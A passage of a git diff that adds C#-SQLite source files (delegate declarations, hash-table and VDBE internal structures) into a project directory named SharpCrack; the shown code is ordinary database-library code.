sqlite3_value[] p2, out sqlite3_int64 p3 ); + public delegate int smdxFunction ( sqlite3_vtab pVTab ); + public delegate int smdxFindFunction( sqlite3_vtab pVtab, int nArg, string zName, ref dxFunc pxFunc, ref object ppArg ); + public delegate int smdxRename( sqlite3_vtab pVtab, string zNew ); + public delegate int smdxFunctionArg (sqlite3_vtab pVTab, int nArg ); + + //AutoExtention + public delegate int dxInit( sqlite3 db, ref string zMessage, sqlite3_api_routines sar ); +#if !SQLITE_OMIT_VIRTUALTABLE + public delegate int dmxCreate(sqlite3 db, object pAux, int argc, string p4, object argv, sqlite3_vtab ppVTab, char p7); + public delegate int dmxConnect(sqlite3 db, object pAux, int argc, string p4, object argv, sqlite3_vtab ppVTab, char p7); + public delegate int dmxBestIndex(sqlite3_vtab pVTab, ref sqlite3_index_info pIndexInfo); + public delegate int dmxDisconnect(sqlite3_vtab pVTab); + public delegate int dmxDestroy(sqlite3_vtab pVTab); + public delegate int dmxOpen(sqlite3_vtab pVTab, sqlite3_vtab_cursor ppCursor); + public delegate int dmxClose(sqlite3_vtab_cursor pCursor); + public delegate int dmxFilter(sqlite3_vtab_cursor pCursor, int idmxNum, string idmxStr, int argc, sqlite3_value argv); + public delegate int dmxNext(sqlite3_vtab_cursor pCursor); + public delegate int dmxEof(sqlite3_vtab_cursor pCursor); + public delegate int dmxColumn(sqlite3_vtab_cursor pCursor, sqlite3_context ctx, int i3); + public delegate int dmxRowid(sqlite3_vtab_cursor pCursor, sqlite3_int64 pRowid); + public delegate int dmxUpdate(sqlite3_vtab pVTab, int i2, sqlite3_value sv3, sqlite3_int64 v4); + public delegate int dmxBegin(sqlite3_vtab pVTab); + public delegate int dmxSync(sqlite3_vtab pVTab); + public delegate int dmxCommit(sqlite3_vtab pVTab); + public delegate int dmxRollback(sqlite3_vtab pVTab); + public delegate int dmxFindFunction(sqlite3_vtab pVtab, int nArg, string zName); + public delegate int dmxRename(sqlite3_vtab pVtab, string zNew); +#endif + //Faults + public delegate void void_function(); + + //Mem Methods + public delegate int dxMemInit( object o ); + public delegate void dxMemShutdown( object o ); + public delegate byte[] dxMalloc( int nSize ); + public delegate int[] dxMallocInt( int nSize ); + public delegate Mem dxMallocMem( Mem pMem ); + public delegate void dxFree( ref byte[] pOld ); + public delegate void dxFreeInt( ref int[] pOld ); + public delegate void dxFreeMem( ref Mem pOld ); + public delegate byte[] dxRealloc( byte[] pOld, int nSize ); + public delegate int dxSize( byte[] pArray ); + public delegate int dxRoundup( int nSize ); + + //Mutex Methods + public delegate int dxMutexInit(); + public delegate int dxMutexEnd(); + public delegate sqlite3_mutex dxMutexAlloc( int iNumber ); + public delegate void dxMutexFree( sqlite3_mutex sm ); + public delegate void dxMutexEnter( sqlite3_mutex sm ); + public delegate int dxMutexTry( sqlite3_mutex sm ); + public delegate void dxMutexLeave( sqlite3_mutex sm ); + public delegate bool dxMutexHeld( sqlite3_mutex sm ); + public delegate bool dxMutexNotheld( sqlite3_mutex sm ); + + public delegate object dxColumn( sqlite3_stmt pStmt, int i ); + public delegate int dxColumn_I( sqlite3_stmt pStmt, int i ); + + // Walker Methods + public delegate int dxExprCallback( Walker W, ref Expr E ); /* Callback for expressions */ + public delegate int dxSelectCallback( Walker W, Select S ); /* Callback for SELECTs */ + + + // pcache Methods + public delegate int dxPC_Init( object NotUsed ); + public delegate void dxPC_Shutdown( object NotUsed ); + public delegate sqlite3_pcache dxPC_Create( int szPage, bool bPurgeable ); + public delegate void dxPC_Cachesize( sqlite3_pcache pCache, int nCachesize ); + public delegate int dxPC_Pagecount( sqlite3_pcache pCache ); + public delegate PgHdr dxPC_Fetch( sqlite3_pcache pCache, u32 key, int createFlag ); + public delegate void dxPC_Unpin( sqlite3_pcache pCache, PgHdr p2, bool discard ); + public delegate void dxPC_Rekey( sqlite3_pcache pCache, PgHdr p2, u32 oldKey, u32 newKey ); + public delegate void dxPC_Truncate( sqlite3_pcache pCache, u32 iLimit ); + public delegate void dxPC_Destroy( ref sqlite3_pcache pCache ); + + public delegate void dxIter( PgHdr p ); + + +#if NET_35 || NET_40 + //API Simplifications -- Actions + public static Action ResultBlob = sqlite3_result_blob; + public static Action ResultDouble = sqlite3_result_double; + public static Action ResultError = sqlite3_result_error; + public static Action ResultErrorCode = sqlite3_result_error_code; + public static Action ResultErrorNoMem = sqlite3_result_error_nomem; + public static Action ResultErrorTooBig = sqlite3_result_error_toobig; + public static Action ResultInt = sqlite3_result_int; + public static Action ResultInt64 = sqlite3_result_int64; + public static Action ResultNull = sqlite3_result_null; + public static Action ResultText = sqlite3_result_text; + public static Action ResultText_Offset = sqlite3_result_text; + public static Action ResultValue = sqlite3_result_value; + public static Action ResultZeroblob = sqlite3_result_zeroblob; + public static Action SetAuxdata = sqlite3_set_auxdata; + + //API Simplifications -- Functions + public delegate Int32 FinalizeDelegate( sqlite3_stmt pStmt ); + public static FinalizeDelegate Finalize = sqlite3_finalize; + + public static Func ClearBindings = sqlite3_clear_bindings; + public static Func ColumnBlob = sqlite3_column_blob; + public static Func ColumnBytes = sqlite3_column_bytes; + public static Func ColumnBytes16 = sqlite3_column_bytes16; + public static Func ColumnCount = sqlite3_column_count; + public static Func ColumnDecltype = sqlite3_column_decltype; + public static Func ColumnDouble = sqlite3_column_double; + public static Func ColumnInt = sqlite3_column_int; + public static Func ColumnInt64 = sqlite3_column_int64; + public static Func ColumnName = sqlite3_column_name; + public static Func ColumnText = sqlite3_column_text; + public static Func ColumnType = sqlite3_column_type; + public static Func ColumnValue = sqlite3_column_value; + public static Func DataCount = sqlite3_data_count; + public static Func Reset = sqlite3_reset; + public static Func Step = sqlite3_step; + + public static Func BindBlob = sqlite3_bind_blob; + public static Func BindDouble = sqlite3_bind_double; + public static Func BindInt = sqlite3_bind_int; + public static Func BindInt64 = sqlite3_bind_int64; + public static Func BindNull = sqlite3_bind_null; + public static Func BindParameterCount = sqlite3_bind_parameter_count; + public static Func BindParameterIndex = sqlite3_bind_parameter_index; + public static Func BindParameterName = sqlite3_bind_parameter_name; + public static Func BindText = sqlite3_bind_text; + public static Func BindValue = sqlite3_bind_value; + public static Func BindZeroblob = sqlite3_bind_zeroblob; + + public delegate Int32 OpenDelegate( string zFilename, out sqlite3 ppDb ); + public static Func Close = sqlite3_close; + public static Func DbHandle = sqlite3_db_handle; + public static Func Errmsg = sqlite3_errmsg; + public static OpenDelegate Open = sqlite3_open; + public static Func NextStmt = sqlite3_next_stmt; + public static Func Shutdown = sqlite3_shutdown; + public static Func StmtStatus = sqlite3_stmt_status; + + public delegate Int32 PrepareDelegate( sqlite3 db, String zSql, Int32 nBytes, ref sqlite3_stmt ppStmt, ref string pzTail ); + public delegate Int32 PrepareDelegateNoTail( sqlite3 db, String zSql, Int32 nBytes, ref sqlite3_stmt ppStmt, Int32 iDummy ); + public static PrepareDelegate Prepare = sqlite3_prepare; + public static PrepareDelegate PrepareV2 = sqlite3_prepare_v2; + public static PrepareDelegateNoTail PrepareV2NoTail = sqlite3_prepare_v2; + + public static Func AggregateContext = sqlite3_aggregate_context; + public static Func GetAuxdata = sqlite3_get_auxdata; + public static Func ContextDbHandle = sqlite3_context_db_handle; + public static Func UserData = sqlite3_user_data; + + public static Func ValueBlob = sqlite3_value_blob; + public static Func ValueBytes = sqlite3_value_bytes; + public static Func ValueBytes16 = sqlite3_value_bytes16; + public static Func ValueDouble = sqlite3_value_double; + public static Func ValueInt = sqlite3_value_int; + public static Func ValueInt64 = sqlite3_value_int64; + public static Func ValueText = sqlite3_value_text; + public static Func ValueType = sqlite3_value_type; +#endif + + } +} + +//#if( NET_35 && !NET_40) || WINDOWS_PHONE +namespace System +{ + // Summary: + // Encapsulates a method that has four parameters and does not return a value. + // + // Parameters: + // arg1: + // The first parameter of the method that this delegate encapsulates. + // + // arg2: + // The second parameter of the method that this delegate encapsulates. + // + // arg3: + // The third parameter of the method that this delegate encapsulates. + // + // arg4: + // The fourth parameter of the method that this delegate encapsulates. + // + // arg5: + // The fifth parameter of the method that this delegate encapsulates. + // + // Type parameters: + // T1: + // The type of the first parameter of the method that this delegate encapsulates. + // + // T2: + // The type of the second parameter of the method that this delegate encapsulates. + // + // T3: + // The type of the third parameter of the method that this delegate encapsulates. + // + // T4: + // The type of the fourth parameter of the method that this delegate encapsulates. + // + // T5: + // The type of the fifth parameter of the method that this delegate encapsulates. + public delegate void Action( T1 arg1, T2 arg2, T3 arg3, T4 arg4, T5 arg5 ); + + // Summary: + // Encapsulates a method that has three parameters and returns a value of the + // type specified by the TResult parameter. + // + // Parameters: + // arg1: + // The first parameter of the method that this delegate encapsulates. + // + // arg2: + // The second parameter of the method that this delegate encapsulates. + // + // arg3: + // The third parameter of the method that this delegate encapsulates. + // + // arg4: + // The fourth parameter of the method that this delegate encapsulates. + // + // arg5: + // The fifth parameter of the method that this delegate encapsulates. + // + // Type parameters: + // T1: + // The type of the first parameter of the method that this delegate encapsulates. + // + // T2: + // The type of the second parameter of the method that this delegate encapsulates. + // + // T3: + // The type of the third parameter of the method that this delegate encapsulates. + // + // T4: + // The type of the fourth parameter of the method that this delegate encapsulates. + // + // T5: + // The type of the fifth parameter of the method that this delegate encapsulates. + // + // TResult: + // The type of the return value of the method that this delegate encapsulates. + // + // Returns: + // The return value of the method that this delegate encapsulates. + public delegate TResult Func( T1 arg1, T2 arg2, T3 arg3, T4 arg4 ); + public delegate TResult Func( T1 arg1, T2 arg2, T3 arg3, T4 arg4, T5 arg5 ); +} +//#endif \ No newline at end of file diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/Hash_h.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/Hash_h.cs new file mode 100644 index 0000000..cbb09ce --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/Hash_h.cs @@ -0,0 +1,141 @@ +using u8 = System.Byte; +using u32 = System.UInt32; + +namespace Community.CsharpSqlite +{ + public partial class Sqlite3 + { + /* + ** 2001 September 22 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This is the header file for the generic hash-table implemenation + ** used in SQLite. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2010-08-23 18:52:01 42537b60566f288167f1b5864a5435986838e3a3 + ** + ************************************************************************* + */ + //#if !_SQLITE_HASH_H_ + //#define _SQLITE_HASH_H_ + + /* Forward declarations of structures. */ + //typedef struct Hash Hash; + //typedef struct HashElem HashElem; + + /* A complete hash table is an instance of the following structure. + ** The internals of this structure are intended to be opaque -- client + ** code should not attempt to access or modify the fields of this structure + ** directly. Change this structure only by using the routines below. + ** However, some of the "procedures" and "functions" for modifying and + ** accessing this structure are really macros, so we can't really make + ** this structure opaque. + ** + ** All elements of the hash table are on a single doubly-linked list. + ** Hash.first points to the head of this list. + ** + ** There are Hash.htsize buckets. Each bucket points to a spot in + ** the global doubly-linked list. The contents of the bucket are the + ** element pointed to plus the next _ht.count-1 elements in the list. + ** + ** Hash.htsize and Hash.ht may be zero. In that case lookup is done + ** by a linear search of the global list. For small tables, the + ** Hash.ht table is never allocated because if there are few elements + ** in the table, it is faster to do a linear search than to manage + ** the hash table. + */ + public class _ht + { /* the hash table */ + public int count; /* Number of entries with this hash */ + public HashElem chain; /* Pointer to first entry with this hash */ + }; + + public class Hash + { + public u32 htsize = 31; /* Number of buckets in the hash table */ + public u32 count; /* Number of entries in this table */ + public HashElem first; /* The first element of the array */ + public _ht[] ht; + public Hash Copy() + { + if ( this == null ) + return null; + else + { + Hash cp = (Hash)MemberwiseClone(); + return cp; + } + } + }; + + /* Each element in the hash table is an instance of the following + ** structure. All elements are stored on a single doubly-linked list. + ** + ** Again, this structure is intended to be opaque, but it can't really + ** be opaque because it is used by macros. + */ + public class HashElem + { + public HashElem next; + public HashElem prev; /* Next and previous elements in the table */ + public object data; /* Data associated with this element */ + public string pKey; + public int nKey; /* Key associated with this element */ + }; + + /* + ** Access routines. To delete, insert a NULL pointer. + */ + //void sqlite3HashInit(Hash); + //void *sqlite3HashInsert(Hash*, string pKey, int nKey, object *pData); + //void *sqlite3HashFind(const Hash*, string pKey, int nKey); + //void sqlite3HashClear(Hash); + + /* + ** Macros for looping over all elements of a hash table. The idiom is + ** like this: + ** + ** Hash h; + ** HashElem p; + ** ... + ** for(p=sqliteHashFirst(&h); p; p=sqliteHashNext(p)){ + ** SomeStructure pData = sqliteHashData(p); + ** // do something with pData + ** } + */ + //#define sqliteHashFirst(H) ((H).first) + static HashElem sqliteHashFirst( Hash H ) + { + return H.first; + } + //#define sqliteHashNext(E) ((E).next) + static HashElem sqliteHashNext( HashElem E ) + { + return E.next; + } + //#define sqliteHashData(E) ((E).data) + static object sqliteHashData( HashElem E ) + { + return E.data; + } + /* #define sqliteHashKey(E) ((E)->pKey) // NOT USED */ + /* #define sqliteHashKeysize(E) ((E)->nKey) // NOT USED */ + + /* + ** Number of entries in a hash table + */ + /* #define sqliteHashCount(H) ((H)->count) // NOT USED */ + + //#endif // * _SQLITE_HASH_H_ */ + } +} diff --git a/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/VdbeInt_h.cs b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/VdbeInt_h.cs new file mode 100644 index 0000000..70150f8 --- /dev/null +++ b/SharpCrack/SharpCrack/SQLite/csharp-sqlite-src/VdbeInt_h.cs @@ -0,0 +1,680 @@ +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; + +using FILE = System.IO.TextWriter; + +using i64 = System.Int64; +using u8 = System.Byte; +using u16 = System.UInt16; +using u32 = System.UInt32; +using u64 = System.UInt64; +using unsigned = System.UIntPtr; + +using Pgno = System.UInt32; + +#if !SQLITE_MAX_VARIABLE_NUMBER +using ynVar = System.Int16; +#else +using ynVar = System.Int32; +#endif +/* +** The yDbMask datatype for the bitmask of all attached databases. +*/ +#if SQLITE_MAX_ATTACHED//>30 +// typedef sqlite3_uint64 yDbMask; +using yDbMask = System.Int64; +#else +// typedef unsigned int yDbMask; +using yDbMask = System.Int32; +#endif + + +namespace Community.CsharpSqlite +{ + using Op = Sqlite3.VdbeOp; + + public partial class Sqlite3 + { + /* + ** 2003 September 6 + ** + ** The author disclaims copyright to this source code. In place of + ** a legal notice, here is a blessing: + ** + ** May you do good and not evil. + ** May you find forgiveness for yourself and forgive others. + ** May you share freely, never taking more than you give. + ** + ************************************************************************* + ** This is the header file for information that is private to the + ** VDBE. This information used to all be at the top of the single + ** source code file "vdbe.c". When that file became too big (over + ** 6000 lines long) it was split up into several smaller files and + ** this header information was factored out. + ************************************************************************* + ** Included in SQLite3 port to C#-SQLite; 2008 Noah B Hart + ** C#-SQLite is an independent reimplementation of the SQLite software library + ** + ** SQLITE_SOURCE_ID: 2011-06-23 19:49:22 4374b7e83ea0a3fbc3691f9c0c936272862f32f2 + ** + ************************************************************************* + */ + //#if !_VDBEINT_H_ + //#define _VDBEINT_H_ + + /* + ** SQL is translated into a sequence of instructions to be + ** executed by a virtual machine. Each instruction is an instance + ** of the following structure. + */ + //typedef struct VdbeOp Op; + + /* + ** Boolean values + */ + //typedef unsigned char Bool; + + /* + ** A cursor is a pointer into a single BTree within a database file. + ** The cursor can seek to a BTree entry with a particular key, or + ** loop over all entries of the Btree. You can also insert new BTree + ** entries or retrieve the key or data from the entry that the cursor + ** is currently pointing to. + ** + ** Every cursor that the virtual machine has open is represented by an + ** instance of the following structure. + */ + public class VdbeCursor + { + public BtCursor pCursor; /* The cursor structure of the backend */ + public Btree pBt; /* Separate file holding temporary table */ + public KeyInfo pKeyInfo; /* Info about index keys needed by index cursors */ + public int iDb; /* Index of cursor database in db->aDb[] (or -1) */ + public int pseudoTableReg; /* Register holding pseudotable content. */ + public int nField; /* Number of fields in the header */ + public bool zeroed; /* True if zeroed out and ready for reuse */ + public bool rowidIsValid; /* True if lastRowid is valid */ + public bool atFirst; /* True if pointing to first entry */ + public bool useRandomRowid; /* Generate new record numbers semi-randomly */ + public bool nullRow; /* True if pointing to a row with no data */ + public bool deferredMoveto; /* A call to sqlite3BtreeMoveto() is needed */ + public bool isTable; /* True if a table requiring integer keys */ + public bool isIndex; /* True if an index containing keys only - no data */ + public bool isOrdered; /* True if the underlying table is BTREE_UNORDERED */ +#if !SQLITE_OMIT_VIRTUALTABLE + public sqlite3_vtab_cursor pVtabCursor; /* The cursor for a virtual table */ + public sqlite3_module pModule; /* Module for cursor pVtabCursor */ +#endif + public i64 seqCount; /* Sequence counter */ + public i64 movetoTarget; /* Argument to the deferred sqlite3BtreeMoveto() */ + public i64 lastRowid; /* Last rowid from a Next or NextIdx operation */ + + /* Result of last sqlite3BtreeMoveto() done by an OP_NotExists or + ** OP_IsUnique opcode on this cursor. */ + public int seekResult; + + /* Cached information about the header for the data record that the + ** cursor is currently pointing to. Only valid if cacheStatus matches + ** Vdbe.cacheCtr. Vdbe.cacheCtr will never take on the value of + ** CACHE_STALE and so setting cacheStatus=CACHE_STALE guarantees that + ** the cache is out of date. + ** + ** aRow might point to (ephemeral) data for the current row, or it might + ** be NULL. + */ + public u32 cacheStatus; /* Cache is valid if this matches Vdbe.cacheCtr */ + public Pgno payloadSize; /* Total number of bytes in the record */ + public u32[] aType; /* Type values for all entries in the record */ + public u32[] aOffset; /* Cached offsets to the start of each columns data */ + public int aRow; /* Pointer to Data for the current row, if all on one page */ + + public VdbeCursor Copy() + { + return (VdbeCursor)MemberwiseClone(); + } + }; + //typedef struct VdbeCursor VdbeCursor; + + + /* + ** When a sub-program is executed (OP_Program), a structure of this type + ** is allocated to store the current value of the program counter, as + ** well as the current memory cell array and various other frame specific + ** values stored in the Vdbe struct. When the sub-program is finished, + ** these values are copied back to the Vdbe from the VdbeFrame structure, + ** restoring the state of the VM to as it was before the sub-program + ** began executing. + ** + ** The memory for a VdbeFrame object is allocated and managed by a memory + ** cell in the parent (calling) frame. When the memory cell is deleted or + ** overwritten, the VdbeFrame object is not freed immediately. Instead, it + ** is linked into the Vdbe.pDelFrame list. The contents of the Vdbe.pDelFrame + ** list is deleted when the VM is reset in VdbeHalt(). The reason for doing + ** this instead of deleting the VdbeFrame immediately is to avoid recursive + ** calls to sqlite3VdbeMemRelease() when the memory cells belonging to the + ** child frame are released. + ** + ** The currently executing frame is stored in Vdbe.pFrame. Vdbe.pFrame is + ** set to NULL if the currently executing frame is the main program. + */ + //typedef struct VdbeFrame VdbeFrame; + public class VdbeFrame + { + public Vdbe v; /* VM this frame belongs to */ + public int pc; /* Program Counter in parent (calling) frame */ + public Op[] aOp; /* Program instructions for parent frame */ + public int nOp; /* Size of aOp array */ + public Mem[] aMem; /* Array of memory cells for parent frame */ + public int nMem; /* Number of entries in aMem */ + public VdbeCursor[] apCsr; /* Array of Vdbe cursors for parent frame */ + public u16 nCursor; /* Number of entries in apCsr */ + public int token; /* Copy of SubProgram.token */ + public int nChildMem; /* Number of memory cells for child frame */ + public int nChildCsr; /* Number of cursors for child frame */ + public i64 lastRowid; /* Last insert rowid (sqlite3.lastRowid) */ + public int nChange; /* Statement changes (Vdbe.nChanges) */ + public VdbeFrame pParent; /* Parent of this frame, or NULL if parent is main */ + // + // Needed for C# Implementation + // + public Mem[] aChildMem; /* Array of memory cells for child frame */ + public VdbeCursor[] aChildCsr; /* Array of cursors for child frame */ + }; + + //#define VdbeFrameMem(p) ((Mem )&((u8 )p)[ROUND8(sizeof(VdbeFrame))]) + /* + ** A value for VdbeCursor.cacheValid that means the cache is always invalid. + */ + const int CACHE_STALE = 0; + + /* + ** Internally, the vdbe manipulates nearly all SQL values as Mem + ** structures. Each Mem struct may cache multiple representations (string, + ** integer etc.) of the same value. + */ + public class Mem + { + public sqlite3 db; /* The associated database connection */ + public string z; /* String value */ + public double r; /* Real value */ + public struct union_ip + { +#if DEBUG_CLASS_MEM || DEBUG_CLASS_ALL +public i64 _i; /* First operand */ +public i64 i +{ +get { return _i; } +set { _i = value; } +} +#else + public i64 i; /* Integer value used when MEM_Int is set in flags */ +#endif + public int nZero; /* Used when bit MEM_Zero is set in flags */ + public FuncDef pDef; /* Used only when flags==MEM_Agg */ + public RowSet pRowSet; /* Used only when flags==MEM_RowSet */ + public VdbeFrame pFrame; /* Used when flags==MEM_Frame */ + }; + public union_ip u; + public byte[] zBLOB; /* BLOB value */ + public int n; /* Number of characters in string value, excluding '\0' */ +#if DEBUG_CLASS_MEM || DEBUG_CLASS_ALL +public u16 _flags; /* First operand */ +public u16 flags +{ +get { return _flags; } +set { _flags = value; } +} +#else + public u16 flags; /* Some combination of MEM_Null, MEM_Str, MEM_Dyn, etc. */ +#endif + public u8 type; /* One of SQLITE_NULL, SQLITE_TEXT, SQLITE_INTEGER, etc */ + public u8 enc; /* SQLITE_UTF8, SQLITE_UTF16BE, SQLITE_UTF16LE */ +#if SQLITE_DEBUG + public Mem pScopyFrom; /* This Mem is a shallow copy of pScopyFrom */ + public object pFiller; /* So that sizeof(Mem) is a multiple of 8 */ +#endif + public dxDel xDel; /* If not null, call this function to delete Mem.z */ + // Not used under c# + //public string zMalloc; /* Dynamic buffer allocated by sqlite3Malloc() */ + public Mem _Mem; /* Used when C# overload Z as MEM space */ + public SumCtx _SumCtx; /* Used when C# overload Z as Sum context */ + public SubProgram[] _SubProgram;/* Used when C# overload Z as SubProgram*/ + public StrAccum _StrAccum; /* Used when C# overload Z as STR context */ + public object _MD5Context; /* Used when C# overload Z as MD5 context */ + + public Mem() + { + } + + public Mem( sqlite3 db, string z, double r, int i, int n, u16 flags, u8 type, u8 enc +#if SQLITE_DEBUG + , Mem pScopyFrom, object pFiller /* pScopyFrom, pFiller */ +#endif + ) + { + this.db = db; + this.z = z; + this.r = r; + this.u.i = i; + this.n = n; + this.flags = flags; +#if SQLITE_DEBUG + this.pScopyFrom = pScopyFrom; + this.pFiller = pFiller; +#endif + this.type = type; + this.enc = enc; + } + + public void CopyTo( ref Mem ct ) + { + if ( ct == null ) + ct = new Mem(); + ct.u = u; + ct.r = r; + ct.db = db; + ct.z = z; + if ( zBLOB == null ) + ct.zBLOB = null; + else + { + ct.zBLOB = sqlite3Malloc( zBLOB.Length ); + Buffer.BlockCopy( zBLOB, 0, ct.zBLOB, 0, zBLOB.Length ); + } + ct.n = n; + ct.flags = flags; + ct.type = type; + ct.enc = enc; + ct.xDel = xDel; + } + + }; + + /* One or more of the following flags are set to indicate the validOK + ** representations of the value stored in the Mem struct. + ** + ** If the MEM_Null flag is set, then the value is an SQL NULL value. + ** No other flags may be set in this case. + ** + ** If the MEM_Str flag is set then Mem.z points at a string representation. + ** Usually this is encoded in the same unicode encoding as the main + ** database (see below for exceptions). If the MEM_Term flag is also + ** set, then the string is nul terminated. The MEM_Int and MEM_Real + ** flags may coexist with the MEM_Str flag. + */ + //#define MEM_Null 0x0001 /* Value is NULL */ + //#define MEM_Str 0x0002 /* Value is a string */ + //#define MEM_Int 0x0004 /* Value is an integer */ + //#define MEM_Real 0x0008 /* Value is a real number */ + //#define MEM_Blob 0x0010 /* Value is a BLOB */ + //#define MEM_RowSet 0x0020 /* Value is a RowSet object */ + //#define MEM_Frame 0x0040 /* Value is a VdbeFrame object */ + //#define MEM_Invalid 0x0080 /* Value is undefined */ + //#define MEM_TypeMask 0x00ff /* Mask of type bits */ + const int MEM_Null = 0x0001; + const int MEM_Str = 0x0002; + const int MEM_Int = 0x0004; + const int MEM_Real = 0x0008; + const int MEM_Blob = 0x0010; + const int MEM_RowSet = 0x0020; + const int MEM_Frame = 0x0040; + const int MEM_Invalid = 0x0080; + const int MEM_TypeMask = 0x00ff; + + /* Whenever Mem contains a valid string or blob representation, one of + ** the following flags must be set to determine the memory management + ** policy for Mem.z. The MEM_Term flag tells us whether or not the + ** string is \000 or \u0000 terminated + // */ + //#define MEM_Term 0x0200 /* String rep is nul terminated */ + //#define MEM_Dyn 0x0400 /* Need to call sqliteFree() on Mem.z */ + //#define MEM_Static 0x0800 /* Mem.z points to a static string */ + //#define MEM_Ephem 0x1000 /* Mem.z points to an ephemeral string */ + //#define MEM_Agg 0x2000 /* Mem.z points to an agg function context */ + //#define MEM_Zero 0x4000 /* Mem.i contains count of 0s appended to blob */ + //#if SQLITE_OMIT_INCRBLOB + // #undef MEM_Zero + // #define MEM_Zero 0x0000 + //#endif + const int MEM_Term = 0x0200; + const int MEM_Dyn = 0x0400; + const int MEM_Static = 0x0800; + const int MEM_Ephem = 0x1000; + const int MEM_Agg = 0x2000; +#if NOT_SQLITE_OMIT_INCRBLOB //#if !SQLITE_OMIT_INCRBLOB +const int MEM_Zero = 0x4000; +#else + const int MEM_Zero = 0x0000; +#endif + + /* +** Clear any existing type flags from a Mem and replace them with f +*/ + //#define MemSetTypeFlag(p, f) \ + // ((p)->flags = ((p)->flags&~(MEM_TypeMask|MEM_Zero))|f) + static void MemSetTypeFlag( Mem p, int f ) + { + p.flags = (u16)( p.flags & ~( MEM_TypeMask | MEM_Zero ) | f ); + }// TODO -- Convert back to inline for speed + + /* + ** Return true if a memory cell is not marked as invalid. This macro + ** is for use inside Debug.Assert() statements only. + */ +#if SQLITE_DEBUG + //#define memIsValid(M) ((M)->flags & MEM_Invalid)==0 + static bool memIsValid( Mem M ) + { + return ( ( M ).flags & MEM_Invalid ) == 0; + } +#else +static bool memIsValid( Mem M ) { return true; } +#endif + + /* A VdbeFunc is just a FuncDef (defined in sqliteInt.h) that contains +** additional information about auxiliary information bound to arguments +** of the function. This is used to implement the sqlite3_get_auxdata() +** and sqlite3_set_auxdata() APIs. The "auxdata" is some auxiliary data +** that can be associated with a constant argument to a function. This +** allows functions such as "regexp" to compile their constant regular +** expression argument once and reused the compiled code for multiple +** invocations. +*/ + public class AuxData + { + public object pAux; /* Aux data for the i-th argument */ + //(void ); /* Destructor for the aux data */ + }; + + public class VdbeFunc : FuncDef + { + public FuncDef pFunc; /* The definition of the function */ + public int nAux; /* Number of entries allocated for apAux[] */ + public AuxData[] apAux = new AuxData[2]; /* One slot for each function argument */ + }; + + /* + ** The "context" argument for a installable function. A pointer to an + ** instance of this structure is the first argument to the routines used + ** implement the SQL functions. + ** + ** There is a typedef for this structure in sqlite.h. So all routines, + ** even the public interface to SQLite, can use a pointer to this structure. + ** But this file is the only place where the internal details of this + ** structure are known. + ** + ** This structure is defined inside of vdbeInt.h because it uses substructures + ** (Mem) which are only defined there. + */ + public class sqlite3_context + { + public FuncDef pFunc; /* Pointer to function information. MUST BE FIRST */ + public VdbeFunc pVdbeFunc; /* Auxilary data, if created. */ + public Mem s = new Mem(); /* The return value is stored here */ + public Mem pMem; /* Memory cell used to store aggregate context */ + public int isError; /* Error code returned by the function. */ + public CollSeq pColl; /* Collating sequence */ + + }; + + /* + ** An instance of the virtual machine. This structure contains the complete + ** state of the virtual machine. + ** + ** The "sqlite3_stmt" structure pointer that is returned by sqlite3_prepare() + ** is really a pointer to an instance of this structure. + ** + ** The Vdbe.inVtabMethod variable is set to non-zero for the duration of + ** any virtual table method invocations made by the vdbe program. It is + ** set to 2 for xDestroy method calls and 1 for all other methods. This + ** variable is used for two purposes: to allow xDestroy methods to execute + ** "DROP TABLE" statements and to prevent some nasty side effects of + ** malloc failure when SQLite is invoked recursively by a virtual table + ** method function. + */ + public class Vdbe + { + public sqlite3 db; /* The database connection that owns this statement */ + public Op[] aOp; /* Space to hold the virtual machine's program */ + public Mem[] aMem; /* The memory locations */ + public Mem[] apArg; /* Arguments to currently executing user function */ + public Mem[] aColName; /* Column names to return */ + public Mem[] pResultSet; /* Pointer to an array of results */ + public int nMem; /* Number of memory locations currently allocated */ + public int nOp; /* Number of instructions in the program */ + public int nOpAlloc; /* Number of slots allocated for aOp[] */ + public int nLabel; /* Number of labels used */ + public int nLabelAlloc; /* Number of slots allocated in aLabel[] */ + public int[] aLabel; /* Space to hold the labels */ + public u16 nResColumn; /* Number of columns in one row of the result set */ + public u16 nCursor; /* Number of slots in apCsr[] */ + public u32 magic; /* Magic number for sanity checking */ + public string zErrMsg; /* Error message written here */ + public Vdbe pPrev; /* Linked list of VDBEs with the same Vdbe.db */ + public Vdbe pNext; /* Linked list of VDBEs with the same Vdbe.db */ + public VdbeCursor[] apCsr; /* One element of this array for each open cursor */ + public Mem[] aVar; /* Values for the OP_Variable opcode. */ + public string[] azVar; /* Name of variables */ + public ynVar nVar; /* Number of entries in aVar[] */ + public ynVar nzVar; /* Number of entries in azVar[] */ + public u32 cacheCtr; /* VdbeCursor row cache generation counter */ + public int pc; /* The program counter */ + public int rc; /* Value to return */ + public u8 errorAction; /* Recovery action to do in case of an error */ + public int explain; /* True if EXPLAIN present on SQL command */ + public bool changeCntOn; /* True to update the change-counter */ + public bool expired; /* True if the VM needs to be recompiled */ + public u8 runOnlyOnce; /* Automatically expire on reset */ + public int minWriteFileFormat; /* Minimum file format for writable database files */ + public int inVtabMethod; /* See comments above */ + public bool usesStmtJournal; /* True if uses a statement journal */ + public bool readOnly; /* True for read-only statements */ + public int nChange; /* Number of db changes made since last reset */ + public bool isPrepareV2; /* True if prepared with prepare_v2() */ + public yDbMask btreeMask; /* Bitmask of db.aDb[] entries referenced */ + public yDbMask lockMask; /* Subset of btreeMask that requires a lock */ + + public int iStatement; /* Statement number (or 0 if has not opened stmt) */ + public int[] aCounter = new int[3]; /* Counters used by sqlite3_stmt_status() */ +#if !SQLITE_OMIT_TRACE + public i64 startTime; /* Time when query started - used for profiling */ +#endif + public i64 nFkConstraint; /* Number of imm. FK constraints this VM */ + public i64 nStmtDefCons; /* Number of def. constraints when stmt started */ + public string zSql = ""; /* Text of the 